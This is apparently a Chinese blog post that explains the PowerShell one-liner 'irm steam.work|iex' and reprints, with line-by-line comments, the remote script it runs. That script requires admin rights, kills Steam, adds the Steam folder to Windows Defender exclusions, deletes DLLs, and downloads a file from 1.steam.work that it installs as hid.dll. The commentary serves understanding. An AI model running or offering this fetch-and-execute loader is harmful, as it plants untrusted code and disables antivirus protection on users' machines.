在PowerShell中输入irm steam.work|iex
首先:irm在PowerShell中是Invoke-RestMethod 的别名 用于发送HTTP请求并返回响应体作为对象,而不是直接下载文件。
steam.work一个网址
|是管道符
iex这是 Invoke-Expression 的别名,用于执行字符串形式的PowerShell表达式或命令。
连在一起就是,发请求从steam.work读取文件,并且将读取到的字符串在PowerShell中用代码执行的方式一行一行执行
那么接下来我们看一下steam.work读取到的文件,并且详细解释每一行数据
# 设置要删除的文件的路径为用户配置文件下的 "x.ps1"
$filePathToDelete = Join-Path $env:USERPROFILE "x.ps1" # 如果文件存在,则删除它
if (Test-Path $filePathToDelete) { Remove-Item -Path $filePathToDelete
} # 设置要删除的文件的路径为用户桌面下的 "x.ps1"
$desktopFilePathToDelete = Join-Path ([System.Environment]::GetFolderPath('Desktop')) "x.ps1" # 如果文件存在,则删除它
if (Test-Path $desktopFilePathToDelete) { Remove-Item -Path $desktopFilePathToDelete
} # 设置 Steam 注册表的路径
$steamRegPath = 'HKCU:\Software\Valve\Steam' # 设置本地 Steam 应用的路径
$localPath = -join ($env:LOCALAPPDATA,"\Steam") # 如果 Steam 注册表路径存在
if ((Test-Path $steamRegPath)) { # 获取注册表项的属性 $properties = Get-ItemProperty -Path $steamRegPath # 如果属性中包含 'SteamPath' if ($properties.PSObject.Properties.Name -contains 'SteamPath') { # 设置 Steam 安装路径 $steamPath = $properties.SteamPath }
} # 检查当前用户是否为管理员
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { # 如果不是管理员,则显示消息并退出 $TextShow = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W+ivt+mHjeaWsOaJk+W8gFBvd2VyIHNoZWxsIOaJk+W8gOaWueW8j+S7peeuoeeQhuWRmOi6q+S7vei/kOihjF0=")) Write-Host "$TextShow" -ForegroundColor:red return;
} # 定义一个函数 CwStart
function CwStart() { # 如果 Steam 路径为空,则显示错误消息并退出 if ($steamPath -eq ""){ Write-Host "[请检查您的Steam是否正确安装]" -ForegroundColor:Red return; } # 显示服务器启动成功的消息 Write-Host "[ServerStart OK]" -ForegroundColor:green # 强制停止所有名为 steam* 的进程 Stop-Process -Name steam* -Force -ErrorAction Stop # 等待 2 秒 Start-Sleep 2 # 如果 steam.exe 进程仍然存在,则使用 TASKKILL 强制终止它 if(Get-Process steam* -ErrorAction Stop){ TASKKILL /F /IM "steam.exe" | Out-Null Start-Sleep 2 } # 如果本地 Steam 路径不存在,则创建它 if (!(Test-Path $localPath)) { md $localPath | Out-Null if (!(Test-Path $localPath)) { New-Item $localPath -ItemType directory -Force | Out-Null } } # 尝试将 Steam 路径添加到 Windows Defender 的排除路径中 try{ Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop Start-Sleep 3 }catch{} # 显示结果 OK 的消息 Write-Host "[Result->0 OK]" -ForegroundColor:green # 尝试删除 Steam 路径下的特定文件 try{ $d = $steamPath + "/version.dll" if (Test-Path $d) { Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null # 清除文件 } $d = $steamPath + "/user32.dll" if (Test-Path $d) { Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null # 清除文件 } $d = $steamPath + "/steam.cfg" if (Test-Path $d) { Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null # 清除文件 } $d = $steamPath + "/hid.dll" if (Test-Path $d) { Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null # 清除文件 } # 注意:此行代码只设置了变量 $d 但没有执行任何操作 $d = $steamPath + "/hid" }catch{ # 如果发生错误,则显示错误消息并退出 $TextShow = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W+W8guW4uOaui+eVmeivt+aMieeFp+i3r+W+hOWIoOmZpOaWh+S7tl0tPg==")) Write-Host "$TextShow[$d]" -ForegroundColor:red return; } # 设置下载 API 的 URL $downApi = "http://1.steam.work/api/integral/pwsDownFile" # 使用 irm下载文件 并且输出到$d这个文件内irm -Uri $downApi -Headers @{ Referer = "libary" } -OutFile $d -ErrorAction Stop # 更改下载文件的扩展名为 .dll $newFilePath = [System.IO.Path]::ChangeExtension($d, ".dll") Rename-Item -Path $d -NewName $newFilePath # 显示结果 OK 的消息 Write-Host "[Result->1 OK]" -ForegroundColor:green # 设置本地数据文件的路径并下载 $d = $localPath + "/localData.vdf" irm -Uri $downApi -Headers @{ Referer = "localData.vdf" } -OutFile $d -ErrorAction Stop Write-Host "[Result->2 OK]" -ForegroundColor:green # 等待 1 秒 Start-Sleep 1 # 启动 Steam Start steam:// # 显示消息表示 Steam 正在启动 $TextShow = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("W+i/nuaOpeacjeWZqOaIkOWKn+WcqFN0ZWFt5YWl5r+A5rS7IDPnp5LlkI7oh6pd")) Write-Host "$TextShow" -ForegroundColor:green # 等待 3 秒 Start-Sleep 3 # 获取当前进程的父进程 ID 并强制终止它(这里可能是一个错误,因为通常不会终止父进程) $processID = Get-CimInstance Win32_Process -Filter "ProcessId = '$pid'" Stop-Process -Id $processID.ParentProcessId -Force # 退出脚本 exit
}
